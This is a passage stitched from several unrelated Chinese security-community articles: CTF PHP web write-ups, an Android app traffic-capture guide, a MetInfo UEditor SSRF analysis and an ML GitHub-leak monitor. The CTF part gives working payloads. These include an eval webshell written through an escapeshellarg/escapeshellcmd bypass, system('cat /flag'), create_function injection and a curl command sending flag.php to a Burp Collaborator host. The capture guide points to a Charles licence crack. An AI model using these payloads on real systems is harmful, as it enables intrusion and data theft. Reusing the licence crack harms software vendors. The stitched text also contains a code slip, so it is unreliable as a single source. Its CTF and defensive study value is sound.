那么上面的 `\` 就会被再次转义，比如变成 `'\\''`
如果在字符串首尾加上单引号，经过`escapeshellarg`函数之后，就可以实现将单引号给闭合了，在经过`escapeshellcmd`函数的时候单引号就是配对的，就不会进行转义
如：
' lemon shy '
escapeshellarg：''\'' lemon shy ''\''
escapeshellcmd: ''\\'' lemon shy ''\\''
这样就很好理解了，那就会可以实现单引号的逃逸了，接下来就来测试payload：
' <?php phpinfo();?> -oG 1.php'
如果最后的单引号是没有空格，则文件名后面就会多出\\，所以后面要加上空格
前面加空格不加则无影响，因为不会影响到一句话木马里面的内容
但还有一个问题，escapeshellcmd会把一句话木马中的一些字符给转义的，又该怎么办，测试一下在本地传一下发现虽然看起来转义了，但写入的话还是没有被转义的。
所以最终的payload:
' <?php @eval($_POST["a"]);?> -oG 1.php '
或
'<?php @eval($_POST["a"]);?> -oG 1.php '
创建的目录也出来了，写的一句话木马文件在该目录下，连接一下，得到flag
也可以传一个GET进去，调用system函数
' <?php @eval($_GET["a"]);?> -oG 2.php '
http://e5b384ba-6852-4e3f-9060-c66dc267e554.node3.buuoj.cn/8f9395193b358d86a100d2fd1f0349a2/2.php?a=system('cat /flag');
## 0x11：PHP精度绕过缺陷
几次都碰到这个点，记录一下，省的以后忘了再去查
**浮点运算的坑**
在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值，先来看个小例子
输出的是57，而我们预想的应该是58
具体详细的原理可以看这位师傅的描述
<http://www.haodaquan.com/12>
简单的说因为PHP 通常使用 IEEE 754 双精度格式而且由于浮点数的精度有限的原因。除此之外取整而导致的最大相对误差为
`1.11e-16`,当小数小于`10^-16`后，PHP对于小数就大小不分了，如下图：
再来看一道ciscn2020初赛的题，便考察了这一点：
**easytrick**
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
看了Drom师傅的博客学到了这种方法：
因为这道题是考察 **浮点数精度问题导致的大小比较以及函数处理问题** ，当小数小于`10^-16`后，PHP对于小数就大小不分了
var_dump(1.000000000000000 == 1) >> TRUE
var_dump(1.0000000000000001 == 1) >> TRUE
`0.9999999999999999`（ **17个9** ）经过`strlen`函数会判断为1
经过测试发现`!==`和`!=`均成立
最后看一下md5函数处理后是否相同
确实也成立，那就写payload即可
<?php
class trick{
public $trick1 ;
public $trick2 ;
}
$shy = new trick();
$shy->trick1 = 1;
$shy->trick2 = 0.9999999999999999;
echo urlencode(serialize($a));
注意这里trick1的值必须为1，如果为0.9999999999999999则出不来结果，因为`$this->trick1 =
(string)$this->trick1;`有这个语句的限制，如果为0.9999999999999999，则浮点数就变成了字符类型，因此就不会产生上面的浮点数精度问题
## 0x12:PHP中类的运用
#### 反射类ReflectionClass
可以看官方的例子了解一下
这里举个例子，方便理解反射类ReflectionClass
class fuc { //定义一个类
static
function ec() {
echo '我是一个类';
}
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
/*最后输出:我是一个类*/
#还有其他用法
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec 方法
例如这道题：
payload：
?v1=1&v2=echo new ReflectionClass&v3=;
#### 异常处理类Exception
先简单了解一下PHP异常处理
这里举个例子，方便理解异常类
<?php
// 创建一个有异常处理的函数
function checkNum($number)
{
if($number>1)
{
throw new Exception("变量值必须小于等于 1");
}
return true;
}
// 在 try 块 触发异常
try
{
checkNum(2);
// 如果抛出异常，以下文本不会输出
echo '如果输出该内容，说明 $number 变量';
}
// 捕获异常
catch(Exception $e)
{
echo 'Message: ' .$e->getMessage();
}
?>
上面代码将得到类似这样一个错误：Message: 变量值必须小于等于 1
例如这道题：
?v1=Exception&v2=system('ls')
虽然源代码中含有了括号，但是我们还是可以自己加上去，以及在里面设置参数，后面多出的（）不对结果造成影响
#### 内置类FilesystemIterator
先简单了解一下这个类的作用
> PHP使用FilesystemIterator迭代器遍历目录
例如这道题：
只需获取当前路径，便可以将当前目录下所有文件给显示出来，这里可以使用php中的getcwd这个函数
> getchwd() 函数返回当前工作目录
故payload为
?v1=FilesystemIterator&v2=getcwd
## 0x13：一些姿势汇总
#### /proc/self/root绕过is_file函数
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,这里看了很多师傅的wp，都是只记录了一个payload，找到了一个大师傅对于这个方法的解释
#### gettext&get_defined_vars函数
这道题涉及到的是php中的gettext的用法，先了解一下
> php的扩展gettext实现程序的国际化
`_()是gettext()`函数的简写形式，那既然变量f1过滤数字和字母，就可以使用该符号来代替这个函数，这样便可以绕过第一个嵌套，然后再由最外面的call_user_func执行命令
call_user_func(call_user_func('_','phpinfo'))=>call_user_func('phpinfo')
虽然该函数会报错
但是还是会继续执行，不会停止,这时候便会执行phpinfo这个命令，但这里要获取flag,就需要再了解一个函数`get_defined_vars`
已知包含了flag.php。而flag.php肯定包含已定义好的变量列表的多维数组，故payload：
?f1=_&f2=get_defined_vars
#### Linux tee命令
`tee`命令主要被用来向standout(标准输出流，通常是命令执行窗口）输出的同时也将内容输出到文件
tee file1 file2 //复制文件
ls|tee Sn0w.txt //命令输出
例如这道题：
?c=ls /|tee Sn0w
在url后面请求Sn0w文件
#### Burp Collaborator Client
这道题主要考察的是命令执行的骚操作和curl -F的使用
如果传递的参数是$F本身，会不会出现变量覆盖那
?F=`$F `;sleep 3
substr函数截取前六位得到的是`$F `;
然后$F便是输出的`$F `;sleep 3，故最后执行的代码是
``$F `;sleep 3`
``是shell_exec()函数的缩写
发现curl并没有被过滤，便可以利用curl带出flag.php，curl -F 将flag文件上传到Burp的 Collaborator Client(
Collaborator Client 类似DNSLOG，其功能要比DNSLOG强大，主要体现在可以查看 POST请求包以及打Cookies)
payload：
?F=`$F `;curl -X POST -F [email protected] 1216a307cv2bgog6aua6lmje157vvk.burpcollaborator.net
这里要解释一下
#其中-F 为带文件的形式发送post请求
#Sn0w是上传文件的name值，flag.php就是上传的文件
其实原理很简单，相当于这台服务器上传文件传输到burp的Collaborator Client
#### call_user_func读取类中的函数
call_user_func函数可以调用类中的函数，这里举一个简单的例子
class Test
{
static public function getS()
{
echo "123";
}
}
相当于
call_user_func(array('Test','getS'));
#输出结果
123
定义一个类Test及类方法getS,call_user_func的输入参数变为一个数组，数组第一个元素为对象名、第二个元素为参数
#如果不加static，数据会出现，但是有可能会报错
例如：
payload：
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
#### create_function函数
create_function，第一个参数是参数，第二个参数是内容，函数结构类似：
create_function('$a,$b','return 111')
相当于如下：
function a($a, $b){
return 111;
}
所以那如果我们这样进行构造payload
create_function('$a,$b','return 111;}phpinfo();//')
function a($a, $b){
return 111;}phpinfo();//
}
phpinfo()便会被执行，所以根据这个思路来进行构造payload
?show=echo Sn0w;}system('cat f*');//
DATA:
ctf=%5ccreate_function | 社区文章 |
>
> 在我们日常的渗透测试工作中经常会发现手机APP抓取不到数据包的情况，本篇文章讲解的是通过postern代理软件来全局转发流量至charles联动BURP来对APP进行渗透，在这套环境配置完成之后可以为你后面的app抓包省下不少时间与麻烦。
# 环境准备
* kali
* windows
* burpsuite
* 夜神模拟器 Android7.0以上 版本V7.0.2.2000
* Charles
* postern
# 工具简介
## Charles
[下载地址](https://www.charlesproxy.com/latest-release/download.do)
Charles是一款非常强大的HTTP抓包工具，通过对该软件的设置让其成为系统网络访问服务器，即所有的网络访问都要通过该软件来完成，这样它就可以轻松获得所有HTTP、HTTPS的数据封包，监视所有的流量包括所有的浏览器和应用进程，方便开发人员查看计算机与Internet之间的所有通信。
Charles下载后有30天免费使用权限，过了之后可以选择重新下载或者购买，未激活的Charles每次只能开30分钟，需要再次手动开启。
## Postern
[下载地址1](https://soft.clbug.com/soft/postern/)
[下载地址2](https://www.malavida.com/en/soft/postern/android/)
Postern是一个Android下的全局代理工具。
# 详细配置
## 安装Postern
下载安装包后直接拖进模拟器中就会开始安装。
## 安装Charles
一路下一步就ok，首先需要确保电脑里没有charles。
### 破解方法
[在线工具](https://www.zzzmode.com/mytools/charles/)
随便输入一个字符串生成license key。
打开charles-help填进去就行。
## 安卓导入Charles系统级证书
生成一个.pem的证书，但是安卓系统级的证书是.0结尾的，所以需要转换一下，我们通过kali中的openssl来计算出文件名就可以。
此处参考文章：<https://www.cnblogs.com/YenKoc/p/14376653.html>
我这里是1d5ca3e1，然后把文件改成1d5ca3e1.0就可以了。
接着通过adb shell来把文件传到`/system/etc/security/cacerts/`目录中
连接
push
给目录读写权限，然后把证书复制到指定位置。
然后重启，输入`reboot`就可以。
几秒钟之后重启就可以发现凭据里有了charles的证书
## burp导入Charles的证书
打开charles - help - ssl proxying
输入密码，导出证书
得到一个.p12的文件
往burp中导入
选择文件，输入密码，导入成功
## Charles工具配置
首先是proxy - proxy settings
这里我们选择socks proxy模式，如图配置，点击ok完毕
取消勾选windows proxy，因为我们不需要用来抓取windows的数据包。
然后是proxy-ssl proxy settings
点add，添加 _:_ 就可以了
ok完毕。
## postern工具配置
打开软件左上角横杠可以看到选项列表。
先配置代理
名称随便起，服务器地址为你自己的pc本机地址。
端口，类型要和之前charles上配置的一样，socks5模式。
然后postern往下滑保存就行。
接着配置规则，全删了，配置一个就可以了。
这样就配完了。
最下面那个是开关，要抓包的时候开启就可以，不抓包就关闭。
开启右上角会有个钥匙的图标。
这时候我们就去访问百度去试试能不能抓到数据包。
成功抓到。
## 联合burp
因为charles抓包能力强但是不好做修改数据包之类的操作，所以我们就再做一层代理到burp来方便我们渗透测试人员。
proxy - external proxy settings
记得两个选项都要配置127.0.0.1:8080，因为我们的burp就是默认监听8080端口的，若不是8080，改成自己burp上监听的端口就可以了。
# 测试结果
成功抓到数据包，其他app自行去测试噢，据说能抓到90%以上的app的数据包...... | 社区文章 |
#### 0x01 前言
问了一下群里的小伙伴
得到了这样的答案，于是就有了此水文
最近关注的网站推了很多的文章，其中一篇是关于MetInfo_v6.1.0 的任意文件读取漏洞
而造成漏洞的文件就是readfile 可控
这个漏洞在经过3次的绕过以后终于给删除掉了。。。
也引起了我的关注，下载了源码初步查看了一番以后搜索了一波也是发现了一点问题。
如上图这两处引起了我的注意，我们任意选择一个进行查看讲解
#### 0x02 文件跟踪
文件：MetInfo_v6.1.0\app\app\ueditor\php\Uploader.class.php
get_headers这里是验证资源是否存在的，不存在就不走下面了，所以这里可以用来判断端口，例如81端口不存在那么他这里就会直接报错了
$this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
这个时候我还不清楚的$this->fileField 的值是向哪里获取的=-=
又搜索了一下。
需要注意的是：$type == "remote" 才能进入$this->saveRemote();流程引起漏洞触发。
搜索一下
打开文件：MetInfo_v6.1.0\app\app\ueditor\php\action_crawler.php
打开文件以后，虽然引入了Uploader.class.php 但是没有引入$CONFIG所以直接调用代码会报错，那么就继续找引入
搜索一下
打开文件：MetInfo_v6.1.0\app\app\ueditor\php\controller.php
#### 0x03 漏洞测试
利用的话，ssrf嘛你可以扫描扫描端口咯。
我这里的话，简单说明利用一下
#### 0x04 尴尬
在写完文章之后，我以为我发现了个百度编辑器的通用ssrf，可是当我去github下载最新版的百度编辑器继续查看时，发现最新版已经修复了，提交人是15年wooyun的一个大佬，就呀呀呀呀呀就好尴尬。 | 社区文章 |
**背景**
现在很多公司都会面临，内部敏感信息，比如代码，内部系统服务器地址，账号，密码等等泄露到GitHub上的风险，有恶意的也有非恶意的。这个问题有时很难完全规避掉，为了降低可能的恶劣影响，一般都是会内部搭建一个GitHub敏感信息泄露的监控系统。
一个典型的泄露敏感信息的配置文件（只是为了说明问题，该文件内容是随机生成的）
在负责这方面工作几个月之后，我遇到了两个问题：
1) 人工指定关键字，必然是不全面的，一般前期是依靠经验来指定，后期根据实际情况慢慢添加。
2) 告警日志数量非常巨大，其中绝大部分是误报，而真正的危险内容就深藏在其中。
人工审核，需要长期耗费大量时间，并且人在长期面对大量误报的情况下，因疲劳产生的思维敏感度下降，可能会漏掉真正的敏感内容，造成漏报。之所以对于敏感信息泄露的审核，一直由人工来进行，我感觉就是因为这个的识别没有一个很有效的模式，很难实现自动化，需要人工去判断。
后来，我在互联网上看到有关机器学习技术的文章，就想尝试用机器学习的方式去解决下工作痛点。
因为在做技术分享的同时，要保证绝对不能够泄露公司的敏感信息，所以下文中涉及到的运行演示，重要敏感信息都进行了脱敏（瞎编。。。）处理。大佬们如果有兴趣，可以使用自己在这方面工作中积累的样本来测试效果。
**程序解析**
用到的第三方库：hmmlearn, joblib, nltk, numpy, pymongo, scikit-learn, tldextract
实现的功能主要是两个：
1) 找出更多人工没有想到或注意到的敏感关键字。
首先，遍历现有的20个敏感文件样本，读取扩展名，行数，文件大小等信息，作为识别特征。解析文件内容，从中提取出域名和IP地址等主机资产识别信息。对这部分，做判断，如果是主机名，就提取出"domain"和"suffix"部分，如果是IP地址，则计算出相应B段网络。然后将目标文本内容Token化，剥除自定义标点符号和停止词等噪声元素，提取出单词列表。
for filename in os.listdir(POSITIVE_SAMPLE_PATH):
with open('{}{}{}'.format(POSITIVE_SAMPLE_PATH, '/', filename), 'r', encoding='utf8', errors='ignore') as f:
sample_str = f.read().lower()
ext_id = get_filename_ext_id(filename, ext_dict)
rowsnumber = sample_str.count('\n')
sample_length = len(sample_str)
domain_list.append(get_single_sample_domain_list(sample_str, ip_net_list, unfiltered_hostname_list))
text_list.append(get_single_sample_text_list(sample_str, unfiltered_keyword))
if rowsnumber > max_rowsnumber:
max_rowsnumber = rowsnumber
if min_length == 0:
min_length = sample_length
if sample_length > max_length:
max_length = sample_length
if sample_length < min_length:
min_length = sample_length
这部分涉及的几个重要函数实现如下：
# 从样本文件中提取域名和IP列表
def get_single_sample_domain_list(sample_str, ip_net_list, unfiltered_hostname_list):
unfiltered_single_sample_domain_list = list()
for hostname in get_affect_assets(sample_str):
if is_ip(hostname):
if not is_hit_ip(hostname, ip_net_list):
ip_net_list.append(ipaddress.ip_network((hostname, 16), strict=False).with_prefixlen)
else:
if not is_hit_hostname(hostname, unfiltered_hostname_list):
unfiltered_hostname_list.append(hostname)
domain = tldextract.extract(hostname).domain
unfiltered_single_sample_domain_list.append(domain)
unfiltered_single_sample_domain_list = nltk.probability.FreqDist(unfiltered_single_sample_domain_list).most_common()
single_sample_domain_list = list()
for domain in unfiltered_single_sample_domain_list:
single_sample_domain_list.append(domain[0])
return single_sample_domain_list
# 从样本文件中提取单词列表
def get_single_sample_text_list(sample_str, unfiltered_keyword):
nltk.data.path = ['nltk_data']
custom_punctuation = get_custom_punctuation()
english_stopwords = nltk.corpus.stopwords.words('english')
unfiltered_single_sample_text_list = nltk.tokenize.word_tokenize(sample_str, language='english')
unfiltered_single_sample_text_list = [word for word in unfiltered_single_sample_text_list if word not in custom_punctuation]
unfiltered_single_sample_text_list = [word for word in unfiltered_single_sample_text_list if word not in english_stopwords]
unfiltered_single_sample_text_list = nltk.probability.FreqDist(unfiltered_single_sample_text_list).most_common()
single_sample_text_list = list()
for text in unfiltered_single_sample_text_list:
if len(text[0]) > 2 and len(text[0]) < 9:
single_sample_text_list.append(text[0])
if text[0] not in unfiltered_keyword:
unfiltered_keyword.update({text[0]: text[1]})
else:
unfiltered_keyword[text[0]] += text[1]
return single_sample_text_list
# 获取文件扩展名
def get_filename_ext_id(filename, ext_dict):
ext_str = os.path.splitext(filename)[1].lower()
if ext_str not in ext_dict:
ext_id = max(ext_dict.values(), default=0) + 1
ext_dict.update({ext_str: ext_id})
return ext_dict[ext_str]
# 从目标文本中提取IP地址和主机名
def get_affect_assets(sample):
ip_pattern = '(\d+\.\d+\.\d+\.\d+)'
domain_pattern = '(?!\-)(?:[a-zA-Z\d\-]{0,62}[a-zA-Z\d]\.){1,126}(?!\d+)[a-zA-Z\d]{1,63}'
email_pattern = "[\w!#$%&'*+/=?^_`{|}~-]+(?:\.[\w!#$%&'*+/=?^_`{|}~-]+)*@(?:[\w](?:[\w-]*[\w])?\.)+[\w](?:[\w-]*[\w])?"
affect_assets_dict = {
'IP': list(set(re.findall(ip_pattern, sample))),
'DOMAIN': list(set(re.findall(domain_pattern, sample))),
'EMAIL': list(set(re.findall(email_pattern, sample)))}
affect_assets = list()
for assets in affect_assets_dict.keys():
for asset in affect_assets_dict[assets]:
if assets == 'IP':
if not is_ip(asset):
continue
if assets == 'DOMAIN':
if not is_hostname(asset):
continue
if assets == 'EMAIL':
hostname = form_email_get_hostname(asset)
if hostname:
asset = hostname
else:
continue
affect_assets.append(asset.replace("'", '').replace('"', '').replace('`', '').lower())
return list(set(affect_assets))
# 从邮箱地址中提取域名部分
def form_email_get_hostname(email):
hostname = tldextract.extract(email.split('@')[-1])
if hostname.domain and hostname.suffix:
return '{}.{}'.format(hostname.domain, hostname.suffix)
else:
return False
# 判断参数是否是有效的IP地址
def is_ip(ip):
try:
ipaddress.ip_address(ip)
except ValueError as e:
return False
else:
return True
# 判断IP地址是否已存在于配置列表中
def is_hit_ip(ip, ip_net_list):
if ipaddress.ip_network((ip, 16), strict=False).with_prefixlen in ip_net_list:
return True
else:
return False
# 判断参数是否是有效的主机名
def is_hostname(hostname):
hostname = tldextract.extract(hostname)
if hostname.domain and hostname.suffix:
return True
else:
return False
# 判断主机名是否已存在于配置列表中
def is_hit_hostname(hostname, hostname_list):
if hostname in hostname_list:
return True
else:
return False
# 获取自定义标点符号列表
CUSTOM_PUNCTUATION = ["''", '--', '//', '==', '\\\\', '__', '``', '||', '/*', '*/', '/**', '<!--', '-->']
def get_custom_punctuation():
custom_punctuation = list(string.punctuation)
custom_punctuation.extend(CUSTOM_PUNCTUATION)
return custom_punctuation
对于样本文件的解析，有两种方式，一种如上所示使用正则表达式，另一种是用
<https://github.com/skskevin/UrlDetect/blob/master/tool/domainExtract/domainExtract.py>
所介绍的"domainExtract.py"
这时，需要把上述"get_affect_assets()"函数的实现改为如下形式：
import domainExtract
def get_affect_assets(sample):
parser = domainExtract.DomainTokenizer()
parser.RunParser(sample)
unfiltered_domains = list(set(parser.urls))
affect_assets = list()
for asset in unfiltered_domains:
if asset.count(':'):
asset = asset[0:asset.find(':')]
if asset not in affect_assets:
affect_assets.append(asset)
return affect_assets
经测试表明，当样本文件普遍较小的时候，使用"domainExtract.py"效率更高，具体可根据实际情况选择使用哪种解析方法。
接下来，根据域名和单词的IDF值（IDF逆向文件频率是一个词语在文档中普遍重要性的度量），计算出主机名和敏感关键字列表。
idf_max_index = math.log(len(text_list) / 3)
for domain_small_list in domain_list:
for domain in domain_small_list:
if domain not in domain_blacklist:
idf_domain = math.log(len(domain_list) / (get_element_count(domain, domain_list) + 1))
if idf_max_index > idf_domain:
filtered_hostname_list = get_filtered_hostname_list(domain, unfiltered_hostname_list)
for hostname in filtered_hostname_list:
if hostname not in hostname_list:
hostname_list.append(hostname)
for key, value in unfiltered_keyword.items():
idf_keyword = math.log(len(text_list) / (get_element_count(key, text_list) + 1))
if idf_max_index > idf_keyword and idf_keyword > 1 and not key.isdigit():
keyword_list.append(key)
这部分涉及的几个函数实现如下：
# 获取经过过滤的重点主机名列表
def get_filtered_hostname_list(domain, hostname_list):
filtered_hostname_list = list()
for hostname in hostname_list:
if tldextract.extract(hostname).domain == domain:
if hostname.count('.') > 1:
filtered_hostname_list.append(hostname)
return filtered_hostname_list
# 获取包含关键字或域名的文件数量
def get_element_count(element, element_list):
count = 0
for element_small_list in element_list:
if element in element_small_list:
count += 1
return count
将上述计算结果和样本最大、最小字节数及最大行数等保存到JSON配置文件中，供后续使用。
# 获取扩展阈值的实际值
def get_expand_threshold(max_num, min_num):
expand_threshold = (max_num - min_num) * (80 / 100)
return int(expand_threshold)
length_expand_threshold = get_expand_threshold(max_length, min_length)
max_length += length_expand_threshold
min_length -= length_expand_threshold
if min_length < 16:
min_length = 16
max_rowsnumber += get_expand_threshold(max_rowsnumber, 0)
conf_json = dict()
conf_json["hostname_blacklist"] = hostname_blacklist
conf_json["hostname_list"] = hostname_list
conf_json["ip_net_list"] = ip_net_list
conf_json["keyword_list"] = keyword_list
conf_json["ext_dict"] = ext_dict
conf_json["max_length"] = max_length
conf_json["min_length"] = min_length
conf_json["max_score"] = max_score
conf_json["min_score"] = min_score
conf_json["max_rowsnumber"] = max_rowsnumber
with open('config.json', 'w', encoding='utf8') as f:
json.dump(conf_json, f)
运行效果演示：
2) 识别告警信息，排除误报，找出真正的敏感泄露信息。
首先从JSON配置文件读取配置。也就是通过上一步程序获取的重要信息。然后建立几个后续要用到的临时变量。
with open('config.json', 'r', encoding='utf8') as f:
conf_dict = json.load(f)
hostname_blacklist = conf_dict["hostname_blacklist"]
hostname_list = conf_dict["hostname_list"]
ip_net_list = conf_dict["ip_net_list"]
keyword_list = conf_dict["keyword_list"]
ext_dict = conf_dict["ext_dict"]
max_length = conf_dict["max_length"]
min_length = conf_dict["min_length"]
max_score = conf_dict["max_score"]
min_score = conf_dict["min_score"]
max_rowsnumber = conf_dict["max_rowsnumber"]
domain_list = list()
suffix_list = list()
for hostname in hostname_list:
domain = tldextract.extract(hostname).domain
if domain not in domain_list:
domain_list.append(domain)
suffix = tldextract.extract(hostname).suffix
if suffix not in suffix_list:
suffix_list.append(suffix)
SVM_X_POSITIVE = list()
SVM_Y_POSITIVE = list()
HMM_DATA = list()
SVM_X_NEGATIVE = list()
SVM_Y_NEGATIVE = list()
遍历敏感信息样本目录，针对其中的每一个样本文件，收集如上一个脚本中收集的元信息数据，与配置列表进行对比。
将命中主机和IP地主数量，未命中主机数量，命中敏感关键字数量，文件字节数，文本行数和扩展名等统计信息结合在一起，组成矩阵。
再给予一个识别标志数据，表示这个类别是敏感文件类别。
for filename in os.listdir(POSITIVE_SAMPLE_PATH):
with open('{}{}{}'.format(POSITIVE_SAMPLE_PATH, '/', filename), 'r', encoding='utf8', errors='ignore') as f:
sample_str = f.read().lower()
hit_ip_list = list()
hit_hostname_list = list()
not_hit_hostname_list = list()
hit_keyword_dict = dict()
hit_keyword_count = 0
ext_id = get_filename_ext_id(filename, ext_dict)
rowsnumber = sample_str.count('\n')
sample_length = len(sample_str)
for hostname in get_affect_assets(sample_str):
if is_ip(hostname):
if is_hit_ip(hostname, ip_net_list):
hit_ip_list.append(hostname)
else:
domain = tldextract.extract(hostname).domain
suffix = tldextract.extract(hostname).suffix
if domain in domain_list and suffix in suffix_list:
hit_hostname_list.append(hostname)
else:
not_hit_hostname_list.append(hostname)
for keyword in keyword_list:
if keyword in sample_str:
hit_keyword_dict.update({keyword: sample_str.count(keyword)})
hit_keyword_count += hit_keyword_dict[keyword]
SVM_X_POSITIVE.append([len(hit_hostname_list), len(hit_ip_list), len(not_hit_hostname_list), hit_keyword_count, sample_length, rowsnumber, ext_id])
SVM_Y_POSITIVE.append(1)
HMM_DATA.append(numpy.array([[len(hit_hostname_list)], [len(hit_ip_list)], [len(not_hit_hostname_list)], [hit_keyword_count], [sample_length], [rowsnumber], [ext_id]]))
对于正常信息样本目录，也执行基本相同的操作，然后给予一个相反的识别标志数据，表示这个类别是正常文件类别。
for filename in os.listdir(NEGATIVE_SAMPLE_PATH):
# 与前一个循环相同的代码。。。
SVM_X_NEGATIVE.append([len(hit_hostname_list), len(hit_ip_list), len(not_hit_hostname_list), hit_keyword_count, sample_length, rowsnumber, ext_id])
SVM_Y_NEGATIVE.append(0)
利用上面计算得到的数据，分别建立隐马尔可夫(HMM)模型和支持向量机(SVM)模型，并将它们序列化后保存到本地。
STACKED = numpy.vstack(tuple(HMM_DATA))
model_hmm = hmm.GaussianHMM(n_components=3, covariance_type='full', n_iter=100)
model_hmm.fit(STACKED)
with open('model_hmm.pkl', 'wb') as f:
joblib.dump(model_hmm, f)
OUT_X = numpy.array(SVM_X_POSITIVE + SVM_X_NEGATIVE)
OUT_Y = numpy.array(SVM_Y_POSITIVE + SVM_Y_NEGATIVE)
(train_x, test_x, train_y, test_y) = sklearn.model_selection.train_test_split(OUT_X, OUT_Y, random_state=1, train_size=0.8)
model_svm = svm.SVC(C=0.5, kernel='linear', gamma=2.5, decision_function_shape='ovr')
model_svm.fit(train_x, train_y.ravel())
with open('model_svm.pkl', 'wb') as f:
joblib.dump(model_svm, f)
使用隐马尔可夫(HMM)模型对敏感信息样本文件逐个进行评分，然后将阈值保存到JSON配置文件中。
for filename in os.listdir(POSITIVE_SAMPLE_PATH):
# 与前一个循环相同的代码。。。
out_ndarray = numpy.array([[len(hit_hostname_list), len(hit_ip_list), len(not_hit_hostname_list), hit_keyword_count, sample_length, rowsnumber, ext_id]]).T
score = model_hmm.score(out_ndarray)
if max_score == 0:
max_score = score
if score > max_score:
max_score = score
if score < min_score:
min_score = score
score_expand_threshold = get_expand_threshold(max_score, min_score)
max_score += score_expand_threshold
min_score -= score_expand_threshold
conf_json = dict()
conf_json["hostname_blacklist"] = hostname_blacklist
conf_json["hostname_list"] = hostname_list
conf_json["ip_net_list"] = ip_net_list
conf_json["keyword_list"] = keyword_list
conf_json["ext_dict"] = ext_dict
conf_json["max_length"] = max_length
conf_json["min_length"] = min_length
conf_json["max_score"] = int(max_score)
conf_json["min_score"] = int(min_score)
conf_json["max_rowsnumber"] = max_rowsnumber
with open('config.json', 'w', encoding='utf8') as f:
json.dump(conf_json, f)
运行效果演示：
到这里，就为后续最重要的识别检测工作做好了准备。
程序原本是连接到Hawkeye系统的MongoDB数据库，直接审核在线数据。
出于演示效果和大佬们测试方便的目的，改写了一个以本地目录为数据源的版本，检测逻辑是完全相同的。
稍后我会介绍如何对接Hawkeye系统。
先从配置文件读取配置信息，建立一些临时变量。然后读取并反序列化HMM和SVM机器学习模型。
ALARM_FILE_PATH = 'alarm_file'
with open('config.json', 'r', encoding='utf8') as f:
conf_dict = json.load(f)
hostname_blacklist = conf_dict["hostname_blacklist"]
hostname_list = conf_dict["hostname_list"]
ip_net_list = conf_dict["ip_net_list"]
keyword_list = conf_dict["keyword_list"]
ext_dict = conf_dict["ext_dict"]
max_length = conf_dict["max_length"]
min_length = conf_dict["min_length"]
max_score = conf_dict["max_score"]
min_score = conf_dict["min_score"]
max_rowsnumber = conf_dict["max_rowsnumber"]
domain_list = list()
suffix_list = list()
for hostname in hostname_list:
domain = tldextract.extract(hostname).domain
if domain not in domain_list:
domain_list.append(domain)
suffix = tldextract.extract(hostname).suffix
if suffix not in suffix_list:
suffix_list.append(suffix)
with open('model_hmm.pkl', 'rb') as f:
model_hmm = joblib.load(f)
with open('model_svm.pkl', 'rb') as f:
model_svm = joblib.load(f)
从数据源处一个接一个的获取待审核告警信息，针对每一个具体的告警文件，首先判断文本行数和字节数是否超出了阈值，接着检查资产信息和敏感关键字的命中情况。
满足条件的话，进入下一步检测，使用HMM模型对目标进行评分，如果评分结果处于敏感文件HMM模型分数阈值范围之内，再使用SVM模型进行二次判断，最终输出一个结果。
print('遍历告警信息目录。。。')
for filename in os.listdir(ALARM_FILE_PATH):
print(' 处理告警信息文件 -- {}'.format(filename))
with open('{}{}{}'.format(ALARM_FILE_PATH, '/', filename), 'r', encoding='utf8', errors='ignore') as f:
sample_str = f.read().lower()
hit_ip_list = list()
hit_hostname_list = list()
not_hit_hostname_list = list()
hit_keyword_dict = dict()
hit_keyword_count = 0
ext_id = get_filename_ext_id(filename, ext_dict)
rowsnumber = sample_str.count('\n')
sample_length = len(sample_str)
if rowsnumber > max_rowsnumber:
print(' 行数超出预计范围。')
continue
if sample_length > max_length or sample_length < min_length:
print(' 大小超出预计范围。')
continue
for hostname in get_affect_assets(sample_str):
if is_ip(hostname):
if is_hit_ip(hostname, ip_net_list):
hit_ip_list.append(hostname)
else:
domain = tldextract.extract(hostname).domain
suffix = tldextract.extract(hostname).suffix
if domain in domain_list and suffix in suffix_list:
hit_hostname_list.append(hostname)
else:
not_hit_hostname_list.append(hostname)
for keyword in keyword_list:
if keyword in sample_str:
hit_keyword_dict.update({keyword: sample_str.count(keyword)})
hit_keyword_count += hit_keyword_dict[keyword]
if (hit_hostname_list or hit_ip_list) and hit_keyword_count > 1:
out_ndarray = numpy.array([[len(hit_hostname_list), len(hit_ip_list), len(not_hit_hostname_list), hit_keyword_count, sample_length, rowsnumber, ext_id]]).T
score = model_hmm.score(out_ndarray)
if not (score > max_score or score < min_score):
print(' 已命中HMM模型范围，继续使用SVM模型进行识别。。。')
SVM_X = list()
SVM_X.append([len(hit_hostname_list), len(hit_ip_list), len(not_hit_hostname_list), hit_keyword_count, sample_length, rowsnumber, ext_id])
if not int(model_svm.predict(SVM_X)):
print(' 确认为正常信息文件。')
else:
print(' 疑似为敏感信息文件！')
else:
print(' 未命中HMM模型范围。')
continue
else:
print(' 未命中敏感主机地址和关键字。')
continue
运行效果演示：
关于对接Hawkeye系统：
假设MongoDB数据库连接信息如下：
USERNAME = 'hawkeye'
PASSWORD = 'hawkeye'
HOST = '127.0.0.1'
PORT = 27017
AUTHSOURCE = 'hawkeye'
在Hawkeye系统中，每一条数据记录，体现为"result"集合中的一条"document"数据。
在前端Web管理页面中，显示为待审核的数据，在对应"document"中，其"desc"域是为空，或者说不存在的，在Python里体现为"None"
利用这个属性，将待审核条目中需要用到的数据查询出来进行处理。
